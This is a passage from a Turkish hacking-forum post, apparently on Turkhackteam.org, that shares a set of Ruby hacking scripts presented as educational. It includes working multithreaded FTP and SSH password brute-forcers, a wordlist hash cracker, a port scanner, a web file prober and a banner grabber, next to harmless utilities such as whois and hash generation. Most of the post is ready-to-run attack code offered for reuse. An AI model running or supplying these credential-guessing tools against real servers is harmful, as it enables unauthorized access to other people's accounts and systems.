  puts "Usage: ruby ruby_ftp_cracker.rb -host the_host -username the_username -wordlist the_wordlist_path -port the_port"
  exit(1)
end

# Threads list
threads = []

# Extract and store the values of the provided flags.
ftp_host = ARGV[ftp_host_flag + 1].to_s
ftp_username = ARGV[ftp_username_flag + 1].to_s
ftp_wordlist = ARGV[ftp_password_path_flag + 1].to_s
ftp_port = ARGV[ftp_port_flag + 1].to_i

# Open the password file for reading.
passwords = File.open(ftp_wordlist, 'r')

# Create a mutex for thread synchronization
mutex = Mutex.new

$status = false

# Define a function to start cracking for each password
def start_crack(ftp_host, ftp_username, ftp_password, ftp_port, mutex)
  begin
    # Create a new FTP connection for each password attempt.
    ftp = Net::FTP.new
    ftp.connect(ftp_host, ftp_port)
    ftp.login(ftp_username, ftp_password)
    puts "Password cracked: #{ftp_password}"
    $status = true
  rescue Net::FTPPermError
    # Handle FTP permission error (incorrect password) silently.
  ensure
    ftp.close if ftp
    mutex.synchronize do
      next_password = passwords.gets
      if next_password.nil?
        $passwords_closed = true
      end
    end
  end
end

# Start the cracking process in multiple threads
num_threads = 5 # You can adjust the number of threads as needed

$passwords_closed = false

num_threads.times do
  threads << Thread.new do
    while true
      password = nil # password değişkenini tanımlayın
      mutex.synchronize do
        if $passwords_closed
          break
        else
          password = passwords.gets
        end
      end
      break if password.nil? # Exit the thread if there are no more passwords
      password.chomp!
      begin
        start_crack(ftp_host, ftp_username, password, ftp_port, mutex)
      rescue Exception => e
        # Yakalanan hataları görmezden gel.
      end
    end
  end
end

# Join threads
threads.each(&:join)

if !$status
  puts "Password not found."
end

# Close the password file.
passwords.close


Port Scanner:

Ruby:
require 'socket'

def port_scan(host, port, timeout_seconds = 1)
  socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
  sockaddr = Socket.sockaddr_in(port, host)

  begin
    socket.connect_nonblock(sockaddr)
    puts "#{port} Open."
  rescue IO::WaitWritable
    IO.select(nil, [socket], nil, timeout_seconds)
    retry
  rescue Errno::EISCONN
    puts "#{port} Open."
  rescue Errno::ECONNREFUSED
    puts "#{port} Closed (Error: Connection refused)."
  rescue Errno::ETIMEDOUT
    puts "#{port} Closed (Error: Connection timed out)."
  rescue Errno::EHOSTUNREACH
    puts "#{port} Closed (Error: Host unreachable)."
  rescue Errno::ENETUNREACH
    puts "#{port} Closed (Error: Network unreachable)."
  rescue Errno::EINVAL
    puts "#{port} Closed (Error: Invalid argument)."
  rescue Exception => e
    puts "#{port} closed: #{e.message}"
  ensure
    socket&.close
  end
end

def port_scan_with_threads(host, port_list, timeout_seconds = 1)
  threads = []

  port_list.each do |port|
    threads << Thread.new { port_scan(host, port, timeout_seconds) }
  end

  threads.each(&:join)
end

host = 'target.com'
port_list = [21, 22, 23, 25, 53, 80, 139, 443, 445, 3306, 8080, 3389, 5900, 8081]

port_scan_with_threads(host, port_list, 1)

Hash Cracker:

Ruby:
threads = []

if ARGV.length != 3
  puts "Usage example: ruby ruby_hash_cracker.rb md5 wordlist.txt hash"
  exit(1)
end

require 'digest'

$algorithm = ARGV[0].to_s.upcase
$pass_path = ARGV[1].to_s
$hash = ARGV[2].to_s

if !File.exist?($pass_path)
  puts "Password dont found."
  exit(1)
end

found = false

def crack
  File.open($pass_path, "r") do |file|
      puts "Cracking..."
      file.each_line do |line|
        pass = line.chomp
        try_pass = Digest.const_get($algorithm).hexdigest(pass)
        if try_pass == $hash
          puts "Cracked: #{$hash}:#{pass}"
          found = true
          break
        end
      end
  end
end

threads << Thread.new do
  crack
end

threads.each(&:join)

Banner Grabber:

Ruby:
require 'socket'

puts "Usage: ruby ruby_banner_grabber.rb google.com 80."

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.new(host, port)
sock.puts("GET / HTTP/1.1\r\n\r\n")

while line = sock.gets do
  puts line.chop
end
sock.close

Host To IP:

Ruby:
require 'socket'

print "Enter a hostname (e.g., www.example.com): "
hostname = gets.chomp

begin
  ip_address = Socket.getaddrinfo(hostname, nil)[0][3]
  puts "IP Address for #{hostname}: #{ip_address}"
rescue SocketError => e
  puts "Error: #{e}"
end

Hash Generator:

Ruby:
require 'digest'

puts "Available Hashing Algorithms:"
puts "1. MD5"
puts "2. SHA-1"
puts "3. SHA-256"
puts "4. SHA-384"
puts "5. SHA-512"

begin
  print "Select an algorithm (1-5): "
  choice = gets.chomp.to_i

  unless (1..5).include?(choice)
    raise "Invalid choice. Please select a valid option."
  end

  print "Enter text: "
  text = gets.chomp.to_s

rescue StandardError => e
  puts "Error: #{e.message}"
  exit
end

algorithm = case choice
            when 1
              "MD5"
            when 2
              "SHA1"
            when 3
              "SHA256"
            when 4
              "SHA384"
            when 5
              "SHA512"
            end

hash = Digest::const_get(algorithm).hexdigest(text)

puts "Hash (#{algorithm}): #{hash}"

Website File Scanner:

Ruby:
require 'net/http'

def scan(url, file)
  uri = URI.parse(url + file)

  scan_thread = Thread.new do
    response = Net::HTTP.get_response(uri)

    case response.code
    when "200"
      puts "[+] Found: #{uri}"
    when "403"
      puts "[?] Forbidden: #{uri}"
    when "400"
      puts "[-] Bad request: #{uri}"
    when "401"
      puts "[-] Unauthorized: #{uri}"
    when "500"
      puts "[-] Internal server error: #{uri}"
    when "204"
      puts "[-] No Content"
    when "404"
      puts "[-] Not found: #{uri}"
    end
  end

  scan_thread
end

threads = []
url = ARGV[0].to_s
files = ["/index.html", "/secret_file.txt", "/robots.txt", "/humans.txt", "/sitemap.xml", "/favicon.ico", "/apple-touch-icon.png", "/manifest.json"]
files.each { |file| threads << scan(url, file) }
threads.each(&:join)

Index Stealer:

Ruby:
require 'net/http'

print "Target (ex: http://url.com/): "
url = gets.chomp

uri = URI(url)
response = Net::HTTP.get_response(uri)

if response.code == "200"
  File.open('index.html', 'w') do |file|
    file.write(response.body)
    puts response.body
  end
end

SSH Cracker:

Ruby:
#!/usr/bin/ruby

require 'net/ssh'
require 'pp'
require 'colorize'

class CrackSSH
  attr_accessor :debug, :host, :user, :passwordfile, :port

  def initialize
    @passwordfile = nil
    @host = nil
    @user = nil
    @port = nil
  end

  def crack
    raise "Please Enter Any Username" if @user.nil?
    raise "Please Enter Any Host" if @host.nil?
    raise "Please Enter Any Password File" if @passwordfile.nil?
    raise "Please Enter Any Port Number" if @port.nil?

    file = File.open(@passwordfile)

    file.each do |pw|
      password = pw.strip
      printf "%s@%s:%s", @user, @host, password
      if crack_host(@host, @user, password)
        puts " => " + "[+] Found".green
        exit
      else
        puts " => " + "[-] False".red
      end
    end

  rescue RuntimeError => e
    puts e.message
  end

  def crack_host(host, user, pass)
    Net::SSH.start(host, user, :password => pass, :timeout => 0.3, :port => @port) do |ssh|
      ssh.exec!("hostname")
    end
    return true
  rescue => e
    stderr.puts e.message unless @debug.nil?
    return false
  end

  def run
    crack
  end
end

if $0 == __FILE__
  bf = CrackSSH.new

  # Argümanları işleme
  while ARGV.length > 0
    case ARGV[0]
    when "--host"
      bf.host = ARGV[1]
    when "--username"
      bf.user = ARGV[1]
    when "--file"
      bf.passwordfile = ARGV[1]
    when "--port"
      bf.port = ARGV[1]
    end

    ARGV.shift(2)
  end

  bf.run
end

Whois:

Ruby:
require 'whois'

puts "Enter URL:"
url = gets.chomp

begin
  info = Whois.whois(url)
  puts info
rescue Whois::Error => e
  puts "An error occurred: #{e.message}"
end

Kaynaktan verebileceğim örnekler bu kadardır. Ukala yorumlar atacak olan arkadaşlar için bunu şimdiden söylüyorum her şey eğitim amaçlıdır, bu programlara göz atıp fikirler edinebilir ve edindiğiniz fikirleri bu programlar aracılığı ile yeni projeler haline getirebilirsiniz. Teşekkür ederim.
Bu hangi yazılım dili
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.